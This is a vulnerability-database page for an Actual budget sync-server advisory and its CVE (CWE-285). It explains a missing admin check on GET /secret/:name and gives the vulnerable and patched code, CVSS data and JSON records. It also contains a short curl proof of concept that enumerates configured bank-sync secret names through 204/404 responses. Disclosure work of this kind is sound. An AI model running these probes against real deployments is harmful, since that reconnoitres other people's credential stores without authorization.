Vulnerability-Lookup

GHSA-3F62-QV96-4P78

Vulnerability from github – Published: 2026-06-22 21:42 – Updated: 2026-06-22 21:42

Summary

@actual-app/sync-server's missing authorization on GET /secret/:name allows non-admin OpenID users to enumerate admin-configured bank-sync secrets

Details

Summary

In @actual-app/sync-server, the GET /secret/:name endpoint (app-secrets.js:53) checks only that the caller has a valid session — it does not verify the caller is an admin. The sibling POST /secret/ handler does enforce an admin check in OpenID mode, exposing an authorization asymmetry. Any authenticated non-admin (BASIC) user in OpenID multi-user deployments can probe the secrets store and learn which admin-managed bank-sync integrations have been configured (existence, not values). This includes integration credentials that are not otherwise observable to non-admins, such as simplefin_accessKey, pluggyai_clientSecret, pluggyai_itemIds, and the gocardless_* secrets.

Details

packages/sync-server/src/app-secrets.js mounts validateSessionMiddleware at the router level (line 15), so all handlers inherit only "must be authenticated." The POST handler then explicitly upgrades to an admin check when the active auth method is openid:

// app-secrets.js:17-46
app.post('/', async (req, res) => {
  // ... look up active auth method ...
  if (method === 'openid') {
    const canSaveSecrets = isAdmin(res.locals.user_id);
    if (!canSaveSecrets) {
      res.status(403).send({
        status: 'error',
        reason: 'not-admin',
        details: 'You have to be admin to set secrets',
      });
      return;
    }
  }
  secretsService.set(name, value);
  // ...
});

The sibling GET handler skips both the method check and the admin check entirely:

// app-secrets.js:53-61
app.get('/:name', async (req, res) => {
  const name = req.params.name;
  const keyExists = secretsService.exists(name);
  if (keyExists) {
    res.sendStatus(204);
  } else {
    res.status(404).send('key not found');
  }
});

The intent — visible from the POST handler's "You have to be admin to set secrets" — is that this store holds admin-managed credentials. The valid secret names enumerated in services/secrets-service.js (SecretName) are: gocardless_secretId, gocardless_secretKey, simplefin_token, simplefin_accessKey, pluggyai_clientId, pluggyai_clientSecret, pluggyai_itemIds.

In OpenID mode, BASIC users obtain valid sessions through packages/sync-server/src/accounts/openid.ts:264-274 — either auto-created (userCreationMode=login) or pre-provisioned by the admin (userCreationMode=manual). With that BASIC session token they can hit GET /secret/:name and distinguish 204 (configured) from 404 (missing), enumerating each admin-managed secret name. Some signals (simplefin_token existence, pluggyai_clientId existence) are already coarsely observable via the unauthenticated bank-sync status endpoints (app-simplefin.js:18, app-pluggyai.js:18); the rest (simplefin_accessKey, pluggyai_clientSecret, pluggyai_itemIds, both gocardless_* secrets) are not otherwise probeable.

This is structurally identical to the previously reported missing-admin-check on GET /admin/users/ (app-admin.js:28): a POST sibling enforces admin authorization while the GET sibling omits it.

PoC

Pre-requisites: - Server is configured for OpenID multi-user mode (ACTUAL_OPENID_ENFORCE=true or auth method is openid). - An admin has configured one or more bank-sync integrations. - The attacker is any authenticated BASIC user (auto-created via userCreationMode=login, or admin-provisioned in the default manual mode).

Step 1 — capture a BASIC user's session token in $TOKEN (standard OpenID login flow, no admin role required).

Step 2 — probe each admin-managed secret name:

for name in gocardless_secretId gocardless_secretKey \
            simplefin_token simplefin_accessKey \
            pluggyai_clientId pluggyai_clientSecret pluggyai_itemIds; do
  status=$(curl -s -o /dev/null -w '%{http_code}' \
           -H "X-ACTUAL-TOKEN: $TOKEN" \
           https://actual.example.com/secret/$name)
  echo "$name -> $status"   # 204 = configured, 404 = missing
done

Step 3 — confirm the asymmetry by attempting to write a secret (correctly rejected for non-admins):

curl -s -H "X-ACTUAL-TOKEN: $TOKEN" \
     -H 'Content-Type: application/json' \
     -d '{"name":"pluggyai_itemIds","value":"x"}' \
     https://actual.example.com/secret/
# {"status":"error","reason":"not-admin","details":"You have to be admin to set secrets"}

The POST returns 403 not-admin; the GET returns 204/404 unauthenticated-against-role.

Impact

A non-admin authenticated user in OpenID multi-user mode can enumerate which admin-managed bank-sync integrations the deployment uses.
This reveals whether GoCardless, SimpleFIN, and/or Pluggy AI are configured, and which auxiliary credentials the admin has set (e.g. simplefin_accessKey, pluggyai_clientSecret, pluggyai_itemIds) — none of which are otherwise observable to non-admins.
The disclosure is existence-only; secret values are not returned. Impact is limited to recon useful for targeted follow-on attacks (e.g. credential phishing, picking which integration to attack on a separate vulnerability).
No integrity or availability impact.

Recommended Fix

Mirror the POST handler's admin gate on the GET handler. Minimal patch in packages/sync-server/src/app-secrets.js:

app.get('/:name', async (req, res) => {
  let method;
  try {
    const result = getAccountDb().first(
      'SELECT method FROM auth WHERE active = 1',
    );
    method = result?.method;
  } catch (error) {
    console.error('Failed to fetch auth method:', error);
    return res.status(500).send({
      status: 'error',
      reason: 'database-error',
      details: 'Failed to validate authentication method',
    });
  }

  if (method === 'openid' && !isAdmin(res.locals.user_id)) {
    return res.status(403).send({
      status: 'error',
      reason: 'not-admin',
      details: 'You have to be admin to read secret status',
    });
  }

  const name = req.params.name;
  const keyExists = secretsService.exists(name);
  if (keyExists) {
    res.sendStatus(204);
  } else {
    res.status(404).send('key not found');
  }
});

Consider factoring the method-lookup + admin-check into a shared helper used by both POST and GET to prevent the same asymmetry from recurring. Also consider restricting :name to the SecretName enum so unrelated probing is rejected up front.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@actual-app/sync-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46700"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T21:42:34Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nIn `@actual-app/sync-server`, the `GET /secret/:name` endpoint (`app-secrets.js:53`) checks only that the caller has a valid session \u2014 it does not verify the caller is an admin. The sibling `POST /secret/` handler does enforce an admin check in OpenID mode, exposing an authorization asymmetry. Any authenticated non-admin (BASIC) user in OpenID multi-user deployments can probe the secrets store and learn which admin-managed bank-sync integrations have been configured (existence, not values). This includes integration credentials that are not otherwise observable to non-admins, such as `simplefin_accessKey`, `pluggyai_clientSecret`, `pluggyai_itemIds`, and the `gocardless_*` secrets.\n\n## Details\n\n`packages/sync-server/src/app-secrets.js` mounts `validateSessionMiddleware` at the router level (line 15), so all handlers inherit only \"must be authenticated.\" The POST handler then explicitly upgrades to an admin check when the active auth method is `openid`:\n\n```js\n// app-secrets.js:17-46\napp.post(\u0027/\u0027, async (req, res) =\u003e {\n  // ... look up active auth method ...\n  if (method === \u0027openid\u0027) {\n    const canSaveSecrets = isAdmin(res.locals.user_id);\n    if (!canSaveSecrets) {\n      res.status(403).send({\n        status: \u0027error\u0027,\n        reason: \u0027not-admin\u0027,\n        details: \u0027You have to be admin to set secrets\u0027,\n      });\n      return;\n    }\n  }\n  secretsService.set(name, value);\n  // ...\n});\n```\n\nThe sibling GET handler skips both the method check and the admin check entirely:\n\n```js\n// app-secrets.js:53-61\napp.get(\u0027/:name\u0027, async (req, res) =\u003e {\n  const name = req.params.name;\n  const keyExists = secretsService.exists(name);\n  if (keyExists) {\n    res.sendStatus(204);\n  } else {\n    res.status(404).send(\u0027key not found\u0027);\n  }\n});\n```\n\nThe intent \u2014 visible from the POST handler\u0027s \"You have to be admin to set secrets\" \u2014 is that this store holds admin-managed credentials. The valid secret names enumerated in `services/secrets-service.js` (`SecretName`) are: `gocardless_secretId`, `gocardless_secretKey`, `simplefin_token`, `simplefin_accessKey`, `pluggyai_clientId`, `pluggyai_clientSecret`, `pluggyai_itemIds`.\n\nIn OpenID mode, BASIC users obtain valid sessions through `packages/sync-server/src/accounts/openid.ts:264-274` \u2014 either auto-created (`userCreationMode=login`) or pre-provisioned by the admin (`userCreationMode=manual`). With that BASIC session token they can hit `GET /secret/:name` and distinguish 204 (configured) from 404 (missing), enumerating each admin-managed secret name. Some signals (`simplefin_token` existence, `pluggyai_clientId` existence) are already coarsely observable via the unauthenticated bank-sync status endpoints (`app-simplefin.js:18`, `app-pluggyai.js:18`); the rest (`simplefin_accessKey`, `pluggyai_clientSecret`, `pluggyai_itemIds`, both `gocardless_*` secrets) are not otherwise probeable.\n\nThis is structurally identical to the previously reported missing-admin-check on `GET /admin/users/` (`app-admin.js:28`): a POST sibling enforces admin authorization while the GET sibling omits it.\n\n## PoC\n\nPre-requisites:\n- Server is configured for OpenID multi-user mode (`ACTUAL_OPENID_ENFORCE=true` or auth method is `openid`).\n- An admin has configured one or more bank-sync integrations.\n- The attacker is any authenticated BASIC user (auto-created via `userCreationMode=login`, or admin-provisioned in the default `manual` mode).\n\nStep 1 \u2014 capture a BASIC user\u0027s session token in `$TOKEN` (standard OpenID login flow, no admin role required).\n\nStep 2 \u2014 probe each admin-managed secret name:\n\n```bash\nfor name in gocardless_secretId gocardless_secretKey \\\n            simplefin_token simplefin_accessKey \\\n            pluggyai_clientId pluggyai_clientSecret pluggyai_itemIds; do\n  status=$(curl -s -o /dev/null -w \u0027%{http_code}\u0027 \\\n           -H \"X-ACTUAL-TOKEN: $TOKEN\" \\\n           https://actual.example.com/secret/$name)\n  echo \"$name -\u003e $status\"   # 204 = configured, 404 = missing\ndone\n```\n\nStep 3 \u2014 confirm the asymmetry by attempting to write a secret (correctly rejected for non-admins):\n\n```bash\ncurl -s -H \"X-ACTUAL-TOKEN: $TOKEN\" \\\n     -H \u0027Content-Type: application/json\u0027 \\\n     -d \u0027{\"name\":\"pluggyai_itemIds\",\"value\":\"x\"}\u0027 \\\n     https://actual.example.com/secret/\n# {\"status\":\"error\",\"reason\":\"not-admin\",\"details\":\"You have to be admin to set secrets\"}\n```\n\nThe POST returns 403 `not-admin`; the GET returns 204/404 unauthenticated-against-role.\n\n## Impact\n\n- A non-admin authenticated user in OpenID multi-user mode can enumerate which admin-managed bank-sync integrations the deployment uses.\n- This reveals whether GoCardless, SimpleFIN, and/or Pluggy AI are configured, and which auxiliary credentials the admin has set (e.g. `simplefin_accessKey`, `pluggyai_clientSecret`, `pluggyai_itemIds`) \u2014 none of which are otherwise observable to non-admins.\n- The disclosure is existence-only; secret values are not returned. Impact is limited to recon useful for targeted follow-on attacks (e.g. credential phishing, picking which integration to attack on a separate vulnerability).\n- No integrity or availability impact.\n\n## Recommended Fix\n\nMirror the POST handler\u0027s admin gate on the GET handler. Minimal patch in `packages/sync-server/src/app-secrets.js`:\n\n```js\napp.get(\u0027/:name\u0027, async (req, res) =\u003e {\n  let method;\n  try {\n    const result = getAccountDb().first(\n      \u0027SELECT method FROM auth WHERE active = 1\u0027,\n    );\n    method = result?.method;\n  } catch (error) {\n    console.error(\u0027Failed to fetch auth method:\u0027, error);\n    return res.status(500).send({\n      status: \u0027error\u0027,\n      reason: \u0027database-error\u0027,\n      details: \u0027Failed to validate authentication method\u0027,\n    });\n  }\n\n  if (method === \u0027openid\u0027 \u0026\u0026 !isAdmin(res.locals.user_id)) {\n    return res.status(403).send({\n      status: \u0027error\u0027,\n      reason: \u0027not-admin\u0027,\n      details: \u0027You have to be admin to read secret status\u0027,\n    });\n  }\n\n  const name = req.params.name;\n  const keyExists = secretsService.exists(name);\n  if (keyExists) {\n    res.sendStatus(204);\n  } else {\n    res.status(404).send(\u0027key not found\u0027);\n  }\n});\n```\n\nConsider factoring the method-lookup + admin-check into a shared helper used by both POST and GET to prevent the same asymmetry from recurring. Also consider restricting `:name` to the `SecretName` enum so unrelated probing is rejected up front.",
  "id": "GHSA-3f62-qv96-4p78",
  "modified": "2026-06-22T21:42:34Z",
  "published": "2026-06-22T21:42:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/actualbudget/actual/security/advisories/GHSA-3f62-qv96-4p78"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/actualbudget/actual"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@actual-app/sync-server\u0027s missing authorization on GET /secret/:name allows non-admin OpenID users to enumerate admin-configured bank-sync secrets"
}

CVE-2026-46700 (GCVE-0-2026-46700)

Vulnerability from cvelistv5 – Published: 2026-07-07 20:56 – Updated: 2026-07-08 14:43

Title

Actual: Missing authorization on GET /secret/:name allows non-admin OpenID users to enumerate admin-configured bank-sync secrets

Summary

Actual is a local-first personal finance tool. Prior to 26.6.0, the GET /secret/:name endpoint in @actual-app/sync-server checks only that the caller has a valid session and does not verify the caller is an admin, while the sibling POST /secret/ handler enforces an admin check in OpenID mode. Any authenticated non-admin BASIC user in OpenID multi-user deployments can probe the secrets store and learn which admin-managed bank-sync integrations have been configured, including simplefin_accessKey, pluggyai_clientSecret, pluggyai_itemIds, and the gocardless secrets. This issue is fixed in version 26.6.0.

Severity

4.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-285 - Improper Authorization

Assigner

GitHub_M

References

4 references

URL	Tags
https://github.com/actualbudget/actual/security/a…	x_refsource_CONFIRM
https://github.com/actualbudget/actual/pull/7862	x_refsource_MISC
https://github.com/actualbudget/actual/commit/349…	x_refsource_MISC
https://github.com/actualbudget/actual/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
actualbudget	actual	Affected: < 26.6.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-46700",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-08T14:43:08.864861Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-08T14:43:18.586Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/actualbudget/actual/security/advisories/GHSA-3f62-qv96-4p78"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "actual",
          "vendor": "actualbudget",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 26.6.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Actual is a local-first personal finance tool. Prior to 26.6.0, the GET /secret/:name endpoint in @actual-app/sync-server checks only that the caller has a valid session and does not verify the caller is an admin, while the sibling POST /secret/ handler enforces an admin check in OpenID mode. Any authenticated non-admin BASIC user in OpenID multi-user deployments can probe the secrets store and learn which admin-managed bank-sync integrations have been configured, including simplefin_accessKey, pluggyai_clientSecret, pluggyai_itemIds, and the gocardless secrets. This issue is fixed in version 26.6.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-285",
              "description": "CWE-285: Improper Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-07T20:56:39.203Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/actualbudget/actual/security/advisories/GHSA-3f62-qv96-4p78",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/actualbudget/actual/security/advisories/GHSA-3f62-qv96-4p78"
        },
        {
          "name": "https://github.com/actualbudget/actual/pull/7862",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/actualbudget/actual/pull/7862"
        },
        {
          "name": "https://github.com/actualbudget/actual/commit/3494f78c9459ed9c412e28b500b675ba5eb72d4e",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/actualbudget/actual/commit/3494f78c9459ed9c412e28b500b675ba5eb72d4e"
        },
        {
          "name": "https://github.com/actualbudget/actual/releases/tag/v26.6.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/actualbudget/actual/releases/tag/v26.6.0"
        }
      ],
      "source": {
        "advisory": "GHSA-3f62-qv96-4p78",
        "discovery": "UNKNOWN"
      },
      "title": "Actual: Missing authorization on GET /secret/:name allows non-admin OpenID users to enumerate admin-configured bank-sync secrets"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-46700",
    "datePublished": "2026-07-07T20:56:39.203Z",
    "dateReserved": "2026-05-15T23:26:58.308Z",
    "dateUpdated": "2026-07-08T14:43:18.586Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-3F62-QV96-4P78

Summary

Details

PoC

Impact

Recommended Fix

CVE-2026-46700 (GCVE-0-2026-46700)

Tags

Sightings

Nomenclature